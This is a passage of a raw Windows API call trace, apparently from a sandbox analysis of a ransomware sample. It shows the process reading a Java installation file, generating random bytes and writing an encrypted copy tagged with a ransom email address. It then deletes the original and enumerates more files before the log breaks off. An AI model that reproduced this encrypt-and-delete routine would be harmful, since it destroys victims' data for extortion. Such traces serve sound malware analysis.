[0124.658] GetLastError () returned 0x0 [0124.659] GetLastError () returned 0x0 [0124.659] GetCurrentThreadId () returned 0x9b0 [0124.659] GetLastError () returned 0x0 [0124.659] GetCurrentThreadId () returned 0x9b0 [0124.659] GetLastError () returned 0x0 [0124.659] GetLastError () returned 0x0 [0124.659] GetLastError () returned 0x0 [0124.659] GetLastError () returned 0x0 [0124.659] GetCurrentThreadId () returned 0x9b0 [0124.660] GetLastError () returned 0x0 [0124.660] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a9e8 | out: hHeap=0x2ad0000) returned 1 [0124.660] GetLastError () returned 0x0 [0124.660] GetCurrentThreadId () returned 0x9b0 [0124.660] GetLastError () returned 0x0 [0124.660] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bb)) returned 1 [0124.661] GetLastError () returned 0x0 [0124.661] GetCurrentThreadId () returned 0x9b0 [0124.661] GetLastError () returned 0x0 [0124.661] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366455c | out: pbBuffer=0x366455c) returned 1 [0124.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0124.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5050 [0124.661] GetCurrentThreadId () returned 0x9b0 [0124.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead78 [0124.662] GetCurrentThreadId () returned 0x9b0 [0124.662] GetLastError () returned 0x0 [0124.662] GetCurrentThreadId () returned 0x9b0 [0124.662] GetCurrentThreadId () returned 0x9b0 [0124.662] GetLastError () returned 0x0 [0124.662] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0124.663] GetFileType (hFile=0x39c) returned 0x1 [0124.663] GetCurrentThreadId () returned 0x9b0 [0124.663] GetLastError () returned 0x0 [0124.663] GetFileType (hFile=0x39c) returned 0x1 [0124.663] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.664] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.664] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.664] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.664] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.664] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.664] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.665] GetLastError () returned 0x0 [0124.665] GetCurrentThreadId () returned 0x9b0 [0124.665] GetLastError () returned 0x0 [0124.665] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265588 | out: hHeap=0x2ad0000) returned 1 [0124.665] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0124.665] GetLastError () returned 0x0 [0124.665] GetLastError () returned 0x0 [0124.665] GetLastError () returned 0x0 [0124.666] GetLastError () returned 0x0 [0124.666] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0124.666] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32654d8 [0124.666] GetLastError () returned 0x0 [0124.666] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0124.666] GetFileType (hFile=0x3ac) returned 0x1 [0124.666] GetLastError () returned 0x0 [0124.666] GetCurrentThreadId () returned 0x9b0 [0124.667] GetLastError () returned 0x0 [0124.667] GetFileType (hFile=0x3ac) returned 0x1 [0124.667] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.667] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.667] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.667] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.667] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.667] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.667] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.667] GetLastError () returned 0x0 [0124.667] GetCurrentThreadId () returned 0x9b0 [0124.667] GetLastError () returned 0x0 [0124.668] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32654d8 | out: hHeap=0x2ad0000) returned 1 [0124.668] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2300 | out: hHeap=0x2ad0000) returned 1 [0124.668] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0124.668] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0124.668] GetLastError () returned 0x0 [0124.668] GetLastError () returned 0x0 [0124.668] GetCurrentThreadId () returned 0x9b0 [0124.668] GetLastError () returned 0x0 [0124.668] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0124.668] GetLastError () returned 0x0 [0124.668] GetLastError () returned 0x0 [0124.669] GetCurrentThreadId () returned 0x9b0 [0124.669] GetLastError () returned 0x0 [0124.669] GetLastError () returned 0x0 [0124.670] GetLastError () returned 0x0 [0124.670] GetCurrentThreadId () returned 0x9b0 [0124.670] GetLastError () returned 0x0 [0124.670] GetCurrentThreadId () returned 0x9b0 [0124.670] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x3d5) returned 0x36f8548 [0124.671] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32654f8 [0124.671] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32654b8 | out: hHeap=0x2ad0000) returned 1 [0124.671] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x3d8) returned 0x35d6358 [0124.671] GetLastError () returned 0x0 [0124.671] GetLastError () returned 0x0 [0124.671] GetLastError () returned 0x0 [0124.671] GetLastError () returned 0x0 [0124.671] GetCurrentThreadId () returned 0x9b0 [0124.671] GetLastError () returned 0x0 [0124.671] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6358 | out: hHeap=0x2ad0000) returned 1 [0124.671] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0124.672] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0124.672] GetLastError () returned 0x0 [0124.672] GetLastError () returned 0x0 [0124.672] GetCurrentThreadId () returned 0x9b0 [0124.672] GetLastError () returned 0x0 [0124.672] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3891a30 | out: hHeap=0x2ad0000) returned 1 [0124.672] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8928 [0124.672] GetLastError () returned 0x0 [0124.672] GetLastError () returned 0x0 [0124.672] GetCurrentThreadId () returned 0x9b0 [0124.672] GetLastError () returned 0x0 [0124.673] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8928 | out: hHeap=0x2ad0000) returned 1 [0124.673] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.673] GetLastError () returned 0x0 [0124.674] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0124.674] CloseHandle (hObject=0x3ac) returned 1 [0124.674] GetLastError () returned 0x0 [0124.674] GetCurrentThreadId () returned 0x9b0 [0124.674] GetLastError () returned 0x0 [0124.674] GetCurrentThreadId () returned 0x9b0 [0124.674] GetLastError () returned 0x0 [0124.674] CloseHandle (hObject=0x39c) returned 1 [0124.675] GetLastError () returned 0x0 [0124.675] GetCurrentThreadId () returned 0x9b0 [0124.675] GetLastError () returned 0x0 [0124.675] GetLastError () returned 0x0 [0124.675] GetLastError () returned 0x0 [0124.675] GetLastError () returned 0x0 [0124.675] GetLastError () returned 0x0 [0124.675] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 1 [0124.676] GetLastError () returned 0x0 [0124.676] GetCurrentThreadId () returned 0x9b0 [0124.676] GetLastError () returned 0x0 [0124.677] GetLastError () returned 0x0 [0124.677] GetLastError () returned 0x0 [0124.677] GetLastError () returned 0x0 [0124.677] GetLastError () returned 0x0 [0124.677] FindFirstFileA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f77d0 [0124.678] GetLastError () returned 0x0 [0124.678] GetCurrentThreadId () returned 0x9b0 [0124.678] GetLastError () returned 0x0 [0124.678] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0124.679] GetLastError () returned 0x0 [0124.679] GetCurrentThreadId () returned 0x9b0 [0124.679] GetLastError () returned 0x0 [0124.679] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x172440, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="awt.dll", cAlternateFileName="")) returned 1 [0124.679] GetLastError () returned 0x0 [0124.679] GetCurrentThreadId () returned 0x9b0 [0124.679] GetLastError () returned 0x0 [0124.679] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4240, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="bci.dll", cAlternateFileName="")) returned 1 [0124.679] GetLastError () returned 0x0 [0124.679] GetCurrentThreadId () returned 0x9b0 [0124.680] GetLastError () returned 0x0 [0124.680] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="dcpr.dll", cAlternateFileName="")) returned 1 [0124.680] GetLastError () returned 0x0 [0124.680] GetCurrentThreadId () returned 0x9b0 [0124.680] GetLastError () returned 0x0 [0124.680] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15040, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="decora_sse.dll", cAlternateFileName="DECORA~1.DLL")) returned 1 [0124.680] GetLastError () returned 0x0 [0124.680] GetCurrentThreadId () returned 0x9b0 [0124.680] GetLastError () returned 0x0 [0124.680] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8f840, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="deploy.dll", cAlternateFileName="")) returned 1 [0124.680] GetLastError () returned 0x0 [0124.680] GetCurrentThreadId () returned 0x9b0 [0124.680] GetLastError () returned 0x0 [0124.681] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="dtplugin", cAlternateFileName="")) returned 1 [0124.681] GetLastError () returned 0x0 [0124.681] GetCurrentThreadId () returned 0x9b0 [0124.681] GetLastError () returned 0x0 [0124.681] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1 [0124.681] GetLastError () returned 0x0 [0124.681] GetCurrentThreadId () returned 0x9b0 [0124.681] GetLastError () returned 0x0 [0124.681] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6040, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="dt_socket.dll", cAlternateFileName="DT_SOC~1.DLL")) returned 1 [0124.681] GetLastError () returned 0x0 [0124.681] GetCurrentThreadId () returned 0x9b0 [0124.681] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21440, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="eula.dll", cAlternateFileName="")) returned 1 [0124.682] GetCurrentThreadId () returned 0x9b0 [0124.682] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x43040, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="fontmanager.dll", cAlternateFileName="FONTMA~1.DLL")) returned 1 [0124.682] GetCurrentThreadId () returned 0x9b0 [0124.682] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2da40, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="fxplugins.dll", cAlternateFileName="FXPLUG~1.DLL")) returned 1 [0124.682] GetCurrentThreadId () returned 0x9b0 [0124.682] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x40e40, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="glass.dll", cAlternateFileName="")) returned 1 [0124.682] GetCurrentThreadId () returned 0x9b0 [0124.682] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6f440, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="glib-lite.dll", cAlternateFileName="GLIB-L~1.DLL")) returned 1 [0124.682] GetCurrentThreadId () returned 0x9b0 [0124.682] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x97440, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="gstreamer-lite.dll", cAlternateFileName="GSTREA~1.DLL")) returned 1 [0124.683] GetCurrentThreadId () returned 0x9b0 [0124.683] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x26a40, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="hprof.dll", cAlternateFileName="")) returned 1 [0124.683] GetCurrentThreadId () returned 0x9b0 [0124.683] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1e240, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="instrument.dll", cAlternateFileName="INSTRU~1.DLL")) returned 1 [0124.683] GetCurrentThreadId () returned 0x9b0 [0124.683] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4a40, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="j2pcsc.dll", cAlternateFileName="")) returned 1 [0124.683] GetCurrentThreadId () returned 0x9b0 [0124.683] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf840, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="j2pkcs11.dll", cAlternateFileName="")) returned 1 [0124.683] GetCurrentThreadId () returned 0x9b0 [0124.683] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5240, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="jaas_nt.dll", cAlternateFileName="")) returned 1 [0124.683] GetCurrentThreadId () returned 0x9b0 [0124.684] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8640, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="jabswitch.exe", cAlternateFileName="JABSWI~1.EXE")) returned 1 [0124.684] GetCurrentThreadId () returned 0x9b0 [0124.684] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="java-rmi.exe", cAlternateFileName="")) returned 1 [0124.684] GetCurrentThreadId () returned 0x9b0 [0124.684] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="java.dll", cAlternateFileName="")) returned 1 [0124.684] GetCurrentThreadId () returned 0x9b0 [0124.684] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="java.exe", cAlternateFileName="")) returned 1 [0124.684] GetCurrentThreadId () returned 0x9b0 [0124.684] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x22c40, dwReserved0=0x9bac8c, dwReserved1=0x0, 